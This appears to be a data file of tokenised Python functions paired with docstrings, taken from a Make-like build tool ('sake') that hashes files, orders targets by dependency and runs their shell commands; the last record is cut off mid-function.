{"signature": "def take_shas_of_all_files(G, settings):", "body": "global ERROR_FN<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>ERROR_FN = error<EOL>sha_dict = {}<EOL>all_files = []<EOL>for target in G.nodes(data=True):<EOL><INDENT>sprint(\"<STR_LIT>\".format(target[<NUM_LIT:0>]),<EOL>level=\"<STR_LIT>\")<EOL>if '<STR_LIT>' in target[<NUM_LIT:1>]:<EOL><INDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>deplist = []<EOL>for dep in target[<NUM_LIT:1>]['<STR_LIT>']:<EOL><INDENT>glist = glob.glob(dep)<EOL>if glist:<EOL><INDENT>for oneglob in glist:<EOL><INDENT>deplist.append(oneglob)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>deplist.append(dep)<EOL><DEDENT><DEDENT>target[<NUM_LIT:1>]['<STR_LIT>'] = list(deplist)<EOL>for dep in target[<NUM_LIT:1>]['<STR_LIT>']:<EOL><INDENT>sprint(\"<STR_LIT>\".format(dep), level=\"<STR_LIT>\")<EOL>all_files.append(dep)<EOL><DEDENT><DEDENT>if '<STR_LIT>' in target[<NUM_LIT:1>]:<EOL><INDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>for out in acts.get_all_outputs(target[<NUM_LIT:1>]):<EOL><INDENT>sprint(\"<STR_LIT>\".format(out), level=\"<STR_LIT>\")<EOL>all_files.append(out)<EOL><DEDENT><DEDENT><DEDENT>if len(all_files):<EOL><INDENT>sha_dict['<STR_LIT>'] = {}<EOL>extant_files = []<EOL>for item in all_files:<EOL><INDENT>if item not in extant_files and os.path.isfile(item):<EOL><INDENT>extant_files.append(item)<EOL><DEDENT><DEDENT>pool = Pool()<EOL>results = pool.map(get_sha, extant_files)<EOL>pool.close()<EOL>pool.join()<EOL>for fn, sha in zip(extant_files, results):<EOL><INDENT>sha_dict['<STR_LIT>'][fn] = {'<STR_LIT>': sha}<EOL><DEDENT>return sha_dict<EOL><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>", "docstring": "Takes sha1 hash of all dependencies and outputs of all targets\n\nArgs:\n    The graph we are going to build\n    The settings dictionary\n\nReturns:\n    A dictionary where the keys are the filenames and the\n    value is the sha1 hash", "id": "f14982:m3"}
{"signature": "def needs_to_run(G, target, in_mem_shas, from_store, settings):", "body": "force = settings[\"<STR_LIT>\"]<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>if(force):<EOL><INDENT>sprint(\"<STR_LIT>\".format(target),<EOL>level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>node_dict = get_the_node_dict(G, target)<EOL>if '<STR_LIT>' in node_dict:<EOL><INDENT>for output in acts.get_all_outputs(node_dict):<EOL><INDENT>if not os.path.isfile(output):<EOL><INDENT>outstr = \"<STR_LIT>\"<EOL>sprint(outstr.format(output), level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' not in node_dict:<EOL><INDENT>sprint(\"<STR_LIT>\".format(target),<EOL>level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>for dep in node_dict['<STR_LIT>']:<EOL><INDENT>if ('<STR_LIT>' in in_mem_shas and dep not in in_mem_shas['<STR_LIT>'] or<EOL>'<STR_LIT>' not in in_mem_shas):<EOL><INDENT>outstr = \"<STR_LIT>\"<EOL>sprint(outstr.format(dep), level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>now_sha = in_mem_shas['<STR_LIT>'][dep]['<STR_LIT>']<EOL>if ('<STR_LIT>' in from_store and dep not in from_store['<STR_LIT>'] or<EOL>'<STR_LIT>' not in from_store):<EOL><INDENT>outst = \"<STR_LIT>\"<EOL>sprint(outst.format(dep), level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT>old_sha = from_store['<STR_LIT>'][dep]['<STR_LIT>']<EOL>if now_sha != old_sha:<EOL><INDENT>outstr = \"<STR_LIT>\"<EOL>sprint(outstr.format(dep), level=\"<STR_LIT>\")<EOL>return True<EOL><DEDENT><DEDENT>sprint(\"<STR_LIT>\".format(target), level=\"<STR_LIT>\")<EOL>return False<EOL>", "docstring": "Determines if a target needs to run. This can happen in two ways:\n(a) If a dependency of the target has changed\n(b) If an output of the target is missing\n\nArgs:\n    The graph we are going to build\n    The name of the target\n    The dictionary of the current shas held in memory\n    The dictionary of the shas from the shastore\n    The settings dictionary\n\nReturns:\n    True if the target needs to be run\n    False if not", "id": "f14982:m4"}
{"signature": "def run_commands(commands, settings):", "body": "sprint = settings[\"<STR_LIT>\"]<EOL>quiet = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>enhanced_errors = True<EOL>the_shell = None<EOL>if settings[\"<STR_LIT>\"]:<EOL><INDENT>enhanced_errors = False<EOL><DEDENT>if \"<STR_LIT>\" in settings:<EOL><INDENT>the_shell = settings[\"<STR_LIT>\"]<EOL><DEDENT>windows_p = sys.platform == \"<STR_LIT:win32>\"<EOL>STDOUT = None<EOL>STDERR = None<EOL>if quiet:<EOL><INDENT>STDOUT = PIPE<EOL>STDERR = PIPE<EOL><DEDENT>commands = commands.rstrip()<EOL>sprint(\"<STR_LIT>\".format(commands), level=\"<STR_LIT>\")<EOL>if not quiet:<EOL><INDENT>sprint(commands)<EOL><DEDENT>if the_shell:<EOL><INDENT>tmp = shlex.split(the_shell)<EOL>the_shell = tmp[<NUM_LIT:0>]<EOL>tmp = tmp[<NUM_LIT:1>:]<EOL>if enhanced_errors and not windows_p:<EOL><INDENT>tmp.append(\"<STR_LIT>\")<EOL><DEDENT>tmp.append(commands)<EOL>commands = tmp<EOL><DEDENT>else:<EOL><INDENT>if enhanced_errors and not windows_p:<EOL><INDENT>commands = [\"<STR_LIT>\", commands]<EOL><DEDENT><DEDENT>p = Popen(commands, shell=True, stdout=STDOUT, stderr=STDERR,<EOL>executable=the_shell)<EOL>out, err = p.communicate()<EOL>if p.returncode:<EOL><INDENT>if quiet:<EOL><INDENT>error(err.decode(locale.getpreferredencoding()))<EOL><DEDENT>error(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Runs the commands supplied as an argument\nIt will exit the program if the commands return a\nnon-zero code\n\nArgs:\n    the commands to run\n    The settings dictionary", "id": "f14982:m5"}
{"signature": "def run_the_target(G, target, settings):", "body": "sprint = settings[\"<STR_LIT>\"]<EOL>sprint(\"<STR_LIT>\".format(target))<EOL>the_formula = get_the_node_dict(G, target)[\"<STR_LIT>\"]<EOL>run_commands(the_formula, settings)<EOL>", "docstring": "Wrapper function that sends to commands in a target's 'formula'\nto run_commands()\n\nArgs:\n    The graph we are going to build\n    The target to run\n    The settings dictionary", "id": "f14982:m6"}
{"signature": "def get_the_node_dict(G, name):", "body": "for node in G.nodes(data=True):<EOL><INDENT>if node[<NUM_LIT:0>] == name:<EOL><INDENT>return node[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>", "docstring": "Helper function that returns the node data\nof the node with the name supplied", "id": "f14982:m7"}
{"signature": "def get_direct_ancestors(G, list_of_nodes):", "body": "parents = []<EOL>for item in list_of_nodes:<EOL><INDENT>anc = G.predecessors(item)<EOL>for one in anc:<EOL><INDENT>parents.append(one)<EOL><DEDENT><DEDENT>return parents<EOL>", "docstring": "Returns a list of nodes that are the parents\nfrom all of the nodes given as an argument.\nThis is for use in the parallel topo sort", "id": "f14982:m8"}
{"signature": "def get_sinks(G):", "body": "sinks = []<EOL>for node in G:<EOL><INDENT>if not len(list(G.successors(node))):<EOL><INDENT>sinks.append(node)<EOL><DEDENT><DEDENT>return sinks<EOL>", "docstring": "A sink is a node with no children.\nThis means that this is the end of the line,\nand it should be run last in topo sort. This\nreturns a list of all sinks in a graph", "id": "f14982:m9"}
{"signature": "def get_levels(G):", "body": "levels = []<EOL>ends = get_sinks(G)<EOL>levels.append(ends)<EOL>while get_direct_ancestors(G, ends):<EOL><INDENT>ends = get_direct_ancestors(G, ends)<EOL>levels.append(ends)<EOL><DEDENT>levels.reverse()<EOL>return levels<EOL>", "docstring": "For the parallel topo sort to work, the targets have\nto be executed in layers such that there is no\ndependency relationship between any nodes in a layer.\nWhat is returned is a list of lists representing all\nthe layers, or levels", "id": "f14982:m10"}
{"signature": "def remove_redundancies(levels):", "body": "seen = []<EOL>final = []<EOL>for line in levels:<EOL><INDENT>new_line = []<EOL>for item in line:<EOL><INDENT>if item not in seen:<EOL><INDENT>seen.append(item)<EOL>new_line.append(item)<EOL><DEDENT><DEDENT>final.append(new_line)<EOL><DEDENT>return final<EOL>", "docstring": "There are repeats in the output from get_levels(). We\nwant only the earliest occurrence (after it's reversed)", "id": "f14982:m11"}
{"signature": "def parallel_sort(G):", "body": "levels = get_levels(G)<EOL>return remove_redundancies(levels)<EOL>", "docstring": "Returns a list of list such that the inner lists\ncan be executed in parallel (no interdependencies)\nand the outer lists ought to be run in order to\nsatisfy dependencies", "id": "f14982:m12"}
{"signature": "def parallel_run_these(G, list_of_targets, in_mem_shas, from_store,<EOL>settings, dont_update_shas_of):", "body": "verbose = settings[\"<STR_LIT>\"]<EOL>quiet = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>if len(list_of_targets) == <NUM_LIT:1>:<EOL><INDENT>target = list_of_targets[<NUM_LIT:0>]<EOL>sprint(\"<STR_LIT>\".format(target),<EOL>level=\"<STR_LIT>\")<EOL>run_the_target(G, target, settings)<EOL>node_dict = get_the_node_dict(G, target)<EOL>if \"<STR_LIT>\" in node_dict:<EOL><INDENT>for output in acts.get_all_outputs(node_dict):<EOL><INDENT>if output not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][output] = {\"<STR_LIT>\": get_sha(output,<EOL>settings)}<EOL>in_mem_shas[output] = get_sha(output, settings)<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in node_dict:<EOL><INDENT>for dep in acts.get_all_dependencies(node_dict):<EOL><INDENT>if dep not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][dep] = {\"<STR_LIT>\": get_sha(dep, settings)}<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT>return True<EOL><DEDENT>a_failure_occurred = False<EOL>out = \"<STR_LIT>\"<EOL>sprint(out.format(\"<STR_LIT:U+002CU+0020>\".join(list_of_targets)))<EOL>info = [(target, get_the_node_dict(G, target))<EOL>for target in list_of_targets]<EOL>commands = [item[<NUM_LIT:1>]['<STR_LIT>'].rstrip() for item in info]<EOL>if not quiet:<EOL><INDENT>procs = [Popen(command, shell=True) for command in commands]<EOL><DEDENT>else:<EOL><INDENT>procs = [Popen(command, shell=True, stdout=PIPE, stderr=PIPE)<EOL>for command in commands]<EOL><DEDENT>for index, process in enumerate(procs):<EOL><INDENT>if process.wait():<EOL><INDENT>error(\"<STR_LIT>\".format(info[index][<NUM_LIT:0>]))<EOL>a_failure_occurred = True<EOL><DEDENT>else:<EOL><INDENT>if \"<STR_LIT>\" in info[index][<NUM_LIT:1>]:<EOL><INDENT>for output in acts.get_all_outputs(info[index][<NUM_LIT:1>]):<EOL><INDENT>if output not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][output] = {\"<STR_LIT>\": get_sha(output,<EOL>settings)}<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in info[index][<NUM_LIT:1>]:<EOL><INDENT>for dep in acts.get_all_dependencies(info[index][<NUM_LIT:1>]):<EOL><INDENT>if dep not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][dep] = {\"<STR_LIT>\": get_sha(dep, settings)}<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if a_failure_occurred:<EOL><INDENT>error(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return True<EOL>", "docstring": "The parallel equivalent of \"run_this_target()\"\nIt receives a list of targets to execute in parallel.\nUnlike \"run_this_target()\" it has to update the shas\n(in memory and in the store) within the function.\nThis is because one of the targets may fail but many can\nsucceed, and those outputs need to be updated\n\nArgs:\n    G\n    A graph\n    A list of targets that we need to build in parallel\n    The dictionary containing the in-memory sha store\n    The dictionary containing the contents of the .shastore file\n    The settings dictionary\n    A list of outputs to not update shas of", "id": "f14982:m13"}
{"signature": "def merge_from_store_and_in_mems(from_store, in_mem_shas, dont_update_shas_of):", "body": "if not from_store:<EOL><INDENT>for item in dont_update_shas_of:<EOL><INDENT>if item in in_mem_shas['<STR_LIT>']:<EOL><INDENT>del in_mem_shas['<STR_LIT>'][item]<EOL><DEDENT><DEDENT>return in_mem_shas<EOL><DEDENT>for key in from_store['<STR_LIT>']:<EOL><INDENT>if key not in in_mem_shas['<STR_LIT>'] and key not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][key] = from_store['<STR_LIT>'][key]<EOL><DEDENT><DEDENT>for item in dont_update_shas_of:<EOL><INDENT>if item in in_mem_shas['<STR_LIT>']:<EOL><INDENT>del in_mem_shas['<STR_LIT>'][item]<EOL><DEDENT><DEDENT>return in_mem_shas<EOL>", "docstring": "If we don't merge the shas from the sha store and if we build a\nsubgraph, the .shastore will only contain the shas of the files\nfrom the subgraph and the rest of the graph will have to be\nrebuilt", "id": "f14982:m14"}
{"signature": "def build_this_graph(G, settings, dont_update_shas_of=None):", "body": "verbose = settings[\"<STR_LIT>\"]<EOL>quiet = settings[\"<STR_LIT>\"]<EOL>force = settings[\"<STR_LIT>\"]<EOL>recon = settings[\"<STR_LIT>\"]<EOL>parallel = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>sprint = settings[\"<STR_LIT>\"]<EOL>if not dont_update_shas_of:<EOL><INDENT>dont_update_shas_of = []<EOL><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>if not nx.is_directed_acyclic_graph(G):<EOL><INDENT>errmes = \"<STR_LIT>\"<EOL>errmes += \"<STR_LIT>\"<EOL>errmes += \"<STR_LIT>\"<EOL>error(errmes)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>in_mem_shas = take_shas_of_all_files(G, settings)<EOL>from_store = {}<EOL>if not os.path.isfile(\"<STR_LIT>\"):<EOL><INDENT>write_shas_to_shastore(in_mem_shas)<EOL>in_mem_shas = {}<EOL>in_mem_shas['<STR_LIT>'] = {}<EOL><DEDENT>with io.open(\"<STR_LIT>\", \"<STR_LIT:r>\") as fh:<EOL><INDENT>shas_on_disk = fh.read()<EOL><DEDENT>from_store = yaml.load(shas_on_disk)<EOL>check_shastore_version(from_store, settings)<EOL>if not from_store:<EOL><INDENT>write_shas_to_shastore(in_mem_shas)<EOL>in_mem_shas = {}<EOL>in_mem_shas['<STR_LIT>'] = {}<EOL>with io.open(\"<STR_LIT>\", \"<STR_LIT:r>\") as fh:<EOL><INDENT>shas_on_disk = fh.read()<EOL><DEDENT>from_store = yaml.load(shas_on_disk)<EOL><DEDENT>if parallel:<EOL><INDENT>for line in parallel_sort(G):<EOL><INDENT>line = sorted(line)<EOL>out = \"<STR_LIT>\"<EOL>sprint(out.format(\"<STR_LIT:U+002CU+0020>\".join(line)), level=\"<STR_LIT>\")<EOL>to_build = []<EOL>for item in line:<EOL><INDENT>if needs_to_run(G, item, in_mem_shas, from_store, settings):<EOL><INDENT>to_build.append(item)<EOL><DEDENT><DEDENT>if to_build:<EOL><INDENT>if recon:<EOL><INDENT>if len(to_build) == <NUM_LIT:1>:<EOL><INDENT>out = \"<STR_LIT>\"<EOL>sprint(out.format(to_build[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>out = \"<STR_LIT>\"<EOL>sprint(out.format(\"<STR_LIT:U+002CU+0020>\".join(to_build)))<EOL><DEDENT>continue<EOL><DEDENT>parallel_run_these(G, to_build, in_mem_shas, from_store,<EOL>settings, dont_update_shas_of)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>targets = []<EOL>for line in parallel_sort(G):<EOL><INDENT>for item in sorted(line):<EOL><INDENT>targets.append(item)<EOL><DEDENT><DEDENT>for target in targets:<EOL><INDENT>outstr = \"<STR_LIT>\"<EOL>sprint(outstr.format(target), level=\"<STR_LIT>\")<EOL>if needs_to_run(G, target, in_mem_shas, from_store, settings):<EOL><INDENT>if recon:<EOL><INDENT>sprint(\"<STR_LIT>\".format(target))<EOL>continue<EOL><DEDENT>run_the_target(G, target, settings)<EOL>node_dict = get_the_node_dict(G, target)<EOL>if \"<STR_LIT>\" in node_dict:<EOL><INDENT>for output in acts.get_all_outputs(node_dict):<EOL><INDENT>if output not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][output] = {\"<STR_LIT>\": get_sha(output,<EOL>settings)}<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT>if \"<STR_LIT>\" in node_dict:<EOL><INDENT>for dep in acts.get_all_dependencies(node_dict):<EOL><INDENT>if dep not in dont_update_shas_of:<EOL><INDENT>in_mem_shas['<STR_LIT>'][dep] = {\"<STR_LIT>\": get_sha(dep,<EOL>settings)}<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>if recon:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>in_mem_shas = take_shas_of_all_files(G, settings)<EOL>if in_mem_shas:<EOL><INDENT>in_mem_shas = merge_from_store_and_in_mems(from_store, in_mem_shas,<EOL>dont_update_shas_of)<EOL>write_shas_to_shastore(in_mem_shas)<EOL><DEDENT>sprint(\"<STR_LIT>\", color=True)<EOL>return <NUM_LIT:0><EOL>", "docstring": "This is the master function that performs the building.\n\nArgs:\n    A graph (often a subgraph)\n    The settings dictionary\n    An optional list of files to not update the shas of\n      (needed when building specific targets)\n\nReturns:\n    0 if successful\n    UN-success results in a fatal error so it will return 0 or nothing", "id": "f14982:m15"}
{"signature": "def check_integrity(sakefile, settings):", "body": "sprint = settings[\"<STR_LIT>\"]<EOL>error = settings[\"<STR_LIT:error>\"]<EOL>sprint(\"<STR_LIT>\", level=\"<STR_LIT>\")<EOL>if not sakefile:<EOL><INDENT>error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if len(sakefile.keys()) != len(set(sakefile.keys())):<EOL><INDENT>error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>for target in sakefile:<EOL><INDENT>if target == \"<STR_LIT:all>\":<EOL><INDENT>if not check_target_integrity(target, sakefile[\"<STR_LIT:all>\"], all=True):<EOL><INDENT>error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" not in sakefile[target]:<EOL><INDENT>if not check_target_integrity(target, sakefile[target],<EOL>meta=True):<EOL><INDENT>errmes = \"<STR_LIT>\".format(target)<EOL>error(errmes)<EOL>return False<EOL><DEDENT>for atom_target in sakefile[target]:<EOL><INDENT>if atom_target == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if not check_target_integrity(atom_target,<EOL>sakefile[target][atom_target],<EOL>parent=target):<EOL><INDENT>errmes = \"<STR_LIT>\".format(<EOL>atom_target)<EOL>error(errmes)<EOL>return False<EOL><DEDENT><DEDENT>continue<EOL><DEDENT>if not check_target_integrity(target, sakefile[target]):<EOL><INDENT>errmes = \"<STR_LIT>\".format(target)<EOL>error(errmes)<EOL>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks the format of the sakefile dictionary\nto ensure it conforms to specification\n\nArgs:\n    A dictionary that is the parsed Sakefile (from sake.py)\n    The setting dictionary (for print functions)\nReturns:\n    True if the Sakefile is conformant\n    False if not", "id": "f14983:m0"}
{"signature": "def check_target_integrity(key, values, meta=False, all=False, parent=None):", "body": "<EOL>if all:<EOL><INDENT>if not values:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return True<EOL><DEDENT>errmes = \"<STR_LIT>\"<EOL>if meta:<EOL><INDENT>if \"<STR_LIT>\" not in values:<EOL><INDENT>sys.stderr.write(errmes.format(key))<EOL>return False<EOL><DEDENT>if len(values.keys()) == <NUM_LIT:1>:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(key))<EOL>return False<EOL><DEDENT>return True<EOL><DEDENT>expected_fields = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>expected_fields = set(expected_fields)<EOL>try:<EOL><INDENT>our_keys_set = set(values.keys())<EOL><DEDENT>except:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(key))<EOL>sys.stderr.write(\"<STR_LIT>\".format(<EOL>parent))<EOL>sys.stderr.write(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>ignored_fields = set([field for field in our_keys_setif field.strip().startswith(\"<STR_LIT>\")])<EOL>difference = our_keys_set - expected_fields - ignored_fields<EOL>if difference:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for item in difference:<EOL><INDENT>print(\"<STR_LIT>\" + item)<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" not in values:<EOL><INDENT>sys.stderr.write(errmes.format(key))<EOL>return False<EOL><DEDENT>if \"<STR_LIT>\" not in values:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\".format(key))<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Checks the integrity of a specific target. Gets called\nmultiple times from check_integrity()\n\nArgs:\n    The target name\n    The dictionary values of that target\n    A boolean representing whether it is a meta-target\n    A boolean representing whether it is the \"all\" target\n    A string representing name of parent (default None)\n\nReturns:\n    True is the target is conformant\n    False if not", "id": "f14983:m1"}
{"signature": "def get_print_functions(settings):", "body": "verbose = settings[\"<STR_LIT>\"]<EOL>def sprint(message, level=None, color=False):<EOL><INDENT>if level==\"<STR_LIT>\" and not verbose:<EOL><INDENT>return<EOL><DEDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL>if settings[\"<STR_LIT>\"] and color:<EOL><INDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL><DEDENT>print(\"<STR_LIT>\".format(prepend, message, postfix))<EOL>sys.stdout.flush()<EOL><DEDENT>def warn(message, level=None, color=True):<EOL><INDENT>if level==\"<STR_LIT>\" and not verbose:<EOL><INDENT>return<EOL><DEDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL>if settings[\"<STR_LIT>\"] and color:<EOL><INDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL><DEDENT>print(\"<STR_LIT>\".format(prepend, message, postfix))<EOL>sys.stdout.flush()<EOL><DEDENT>def error(message, level=None, color=True):<EOL><INDENT>if level==\"<STR_LIT>\" and not verbose:<EOL><INDENT>return<EOL><DEDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL>if settings[\"<STR_LIT>\"] and color:<EOL><INDENT>prepend = \"<STR_LIT>\"<EOL>postfix = \"<STR_LIT>\"<EOL><DEDENT>print(\"<STR_LIT>\".format(prepend, message, postfix), file=sys.stderr)<EOL>sys.stderr.flush()<EOL><DEDENT>return sprint, warn, error<EOL>", "docstring": "This returns the appropriate print functions\nin a tuple\nThe print function are:\n    - sprint - for standard printing\n    - warn - for warnings\n    - error - for errors\nThis will all be the same if color is False.\n\nThe returned print functions will contain an optional parameter\nthat specifies the output level (verbose or not). If not verbose,\nthe print function will ignore the message.", "id": "f14984:m0"}
{"signature": "def find_standard_sakefile(settings):", "body": "error = settings[\"<STR_LIT:error>\"]<EOL>if settings[\"<STR_LIT>\"]:<EOL><INDENT>custom = settings[\"<STR_LIT>\"]<EOL>if not os.path.isfile(custom):<EOL><INDENT>error(\"<STR_LIT>\", custom)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return custom<EOL><DEDENT>for name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>if os.path.isfile(name):<EOL><INDENT>return name<EOL><DEDENT><DEDENT>error(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL>", "docstring": "Returns the filename of the appropriate sakefile", "id": "f14984:m1"}
{"signature": "def clean_path(a_path, force_os=None, force_start=None):", "body": "if not force_start:<EOL><INDENT>force_start = os.curdir<EOL><DEDENT>if force_os == \"<STR_LIT>\":<EOL><INDENT>import ntpath<EOL>return ntpath.relpath(ntpath.normpath(a_path),<EOL>start=force_start)<EOL><DEDENT>if force_os == \"<STR_LIT>\":<EOL><INDENT>import posixpath<EOL>return posixpath.relpath(posixpath.normpath(a_path),<EOL>start=force_start)<EOL><DEDENT>return os.path.relpath(os.path.normpath(a_path),<EOL>start=force_start)<EOL>", "docstring": "This function is used to normalize the path (of an output or\ndependency) and also provide the path in relative form. It is\nrelative to the current working directory", "id": "f14984:m3"}
{"signature": "def escp(target_name):", "body": "if '<STR_LIT:U+0020>' in target_name:<EOL><INDENT>return '<STR_LIT>'.format(target_name)<EOL><DEDENT>return target_name<EOL>", "docstring": "This function is used by sake help. Since sakefiles allow\nfor targets with spaces in them, sake help needs to quote\nall targets with spaces. This takes a target name and\nquotes it if necessary", "id": "f14984:m4"}
{"signature": "def get_help(sakefile):", "body": "full_string = \"<STR_LIT>\"<EOL>errmes = \"<STR_LIT>\"<EOL>outerlines = []<EOL>for target in sakefile:<EOL><INDENT>if target == \"<STR_LIT:all>\":<EOL><INDENT>continue<EOL><DEDENT>middle_lines = []<EOL>if \"<STR_LIT>\" not in sakefile[target]:<EOL><INDENT>innerstr = \"<STR_LIT>\".format(escp(target),<EOL>sakefile[target][\"<STR_LIT>\"])<EOL>inner = []<EOL>for atom_target in sakefile[target]:<EOL><INDENT>if atom_target == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>inner.append(\"<STR_LIT>\".format(escp(atom_target),<EOL>sakefile[target][atom_target][\"<STR_LIT>\"]))<EOL><DEDENT>if inner:<EOL><INDENT>innerstr += '<STR_LIT:\\n>'.join(sorted(inner))<EOL><DEDENT>middle_lines.append(innerstr)<EOL><DEDENT>else:<EOL><INDENT>middle_lines.append(\"<STR_LIT>\".format(escp(target),<EOL>sakefile[target][\"<STR_LIT>\"]))<EOL><DEDENT>if middle_lines:<EOL><INDENT>outerlines.append('<STR_LIT:\\n>'.join(sorted(middle_lines)))<EOL><DEDENT><DEDENT>if outerlines:<EOL><INDENT>full_string += '<STR_LIT:\\n>'.join(sorted(outerlines))<EOL><DEDENT>what_clean_does = \"<STR_LIT>\"<EOL>full_string += \"<STR_LIT>\".format(what_clean_does)<EOL>what_visual_does = \"<STR_LIT>\"<EOL>full_string += \"<STR_LIT>\".format(what_visual_does)<EOL>full_string = re.sub(\"<STR_LIT>\", \"<STR_LIT>\", full_string)<EOL>return full_string<EOL>", "docstring": "Returns the prettily formatted help strings (for printing)\n\nArgs:\n    A dictionary that is the parsed Sakefile (from sake.py)\n\nNOTE:\n    the list sorting in this function is required for this\n    function to be deterministic", "id": "f14984:m5"}
{"signature": "def parse_defines(args):", "body": "macros = {}<EOL>for arg in args:<EOL><INDENT>try:<EOL><INDENT>var, val = arg.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL><DEDENT>except ValueError:<EOL><INDENT>var = arg<EOL>val = '<STR_LIT:1>'<EOL><DEDENT>macros[var] = val<EOL><DEDENT>return macros<EOL>", "docstring": "This parses a list of define argument in the form of -DNAME=VALUE or -DNAME (\nwhich is treated as -DNAME=1).", "id": "f14984:m6"}
{"signature": "def expand_macros(raw_text, macros):", "body": "includes = {}<EOL>result = []<EOL>pattern = re.compile(\"<STR_LIT>\", re.UNICODE)<EOL>ipattern = re.compile(\"<STR_LIT>\", re.UNICODE)<EOL>for line in raw_text.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>line = string.Template(line).safe_substitute(macros)<EOL>result.append(line)<EOL>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>match = pattern.match(line)<EOL>try:<EOL><INDENT>var, opt, val, or_ = match.group(<NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>, <NUM_LIT:4>)<EOL><DEDENT>except:<EOL><INDENT>raise InvalidMacroError(\"<STR_LIT>\".format(line))<EOL><DEDENT>if or_:<EOL><INDENT>if var not in macros:<EOL><INDENT>raise InvalidMacroError(\"<STR_LIT>\".format(var, or_))<EOL><DEDENT><DEDENT>elif not (opt and var in macros):<EOL><INDENT>macros[var] = val<EOL><DEDENT><DEDENT>elif line.startswith(\"<STR_LIT>\"):<EOL><INDENT>match = ipattern.match(line)<EOL>try:<EOL><INDENT>filename = match.group(<NUM_LIT:1>)<EOL><DEDENT>except:<EOL><INDENT>error(\"<STR_LIT>\".format(line))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>try:<EOL><INDENT>with io.open(filename, '<STR_LIT:r>') as f:<EOL><INDENT>includes[filename] = expand_macros(f.read(), macros)<EOL><DEDENT><DEDENT>except IOError:<EOL><INDENT>if match.group(<NUM_LIT:2>):<EOL><INDENT>if 